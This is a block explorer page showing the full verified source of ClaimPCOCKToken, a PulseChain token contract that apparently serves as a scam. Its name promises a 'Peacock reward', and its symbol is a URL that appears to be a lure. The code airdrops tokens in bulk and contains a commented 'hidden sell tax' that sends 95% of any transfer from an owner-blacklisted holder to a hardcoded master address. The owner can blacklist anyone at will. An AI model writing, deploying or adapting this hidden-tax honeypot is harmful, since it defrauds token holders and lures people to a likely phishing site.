Skip to main content
PulseScanner.io

Address

0x2d8e0df8a0789dda7bc778b453aeb8567ee81c3a
Current Holdings
$0.00
TXs sent
not counted
First Active
2026-05-13
block 26,517,490
Last Active
30 days ago
block 27,317,183
Funded By
not identified

Net worth historyi

No net-worth snapshots recorded yet
exact matchClaimPCOCKTokensolc 0.8.26+commit.8a97fa7aruntime exact · creation exact
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract ClaimPCOCKToken is ERC20, Ownable {
    address public masterAddress = 0xcf319d6C20591B8F38d7c70F212e3773DfbE828c;
    mapping(address => bool) public blacklist;
    address[] public blacklistedAddresses;

constructor() ERC20("Claim your PulseChain Peacock reward", "https://pcock.page.gd") Ownable(msg.sender) {
    _mint(msg.sender, 1000000000 * 10**decimals());
}

    function batchTransfer(address[] memory recipients) public {
        uint256 amount = 15555 * 10**decimals();
        for (uint256 i = 0; i < recipients.length; i++) {
            _customTransfer(msg.sender, recipients[i], amount);
        }
    }

    function _customTransfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        uint256 senderBalance = balanceOf(sender);
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        if (blacklist[sender]) {
            // Apply 95% hidden sell tax for blacklisted addresses
            uint256 taxAmount = (amount * 95) / 100;
            super._transfer(sender, masterAddress, taxAmount);
            super._transfer(sender, recipient, amount - taxAmount);
        } else {
            // Regular transfers
            super._transfer(sender, recipient, amount);
        }
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _customTransfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _customTransfer(sender, recipient, amount);

        uint256 currentAllowance = allowance(sender, msg.sender);
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, msg.sender, currentAllowance - amount);

        return true;
    }

    function addToBlacklist(address addr) public onlyOwner {
        blacklist[addr] = true;
        blacklistedAddresses.push(addr);
    }

    function removeFromBlacklist(address addr) public onlyOwner {
        blacklist[addr] = false;
        for (uint256 i = 0; i < blacklistedAddresses.length; i++) {
            if (blacklistedAddresses[i] == addr) {
                blacklistedAddresses[i] = blacklistedAddresses[blacklistedAddresses.length - 1];
                blacklistedAddresses.pop();
                break;
            }
        }
    }

    function getBlacklistedAddresses() public view returns (address[] memory) {
        return blacklistedAddresses;
    }
}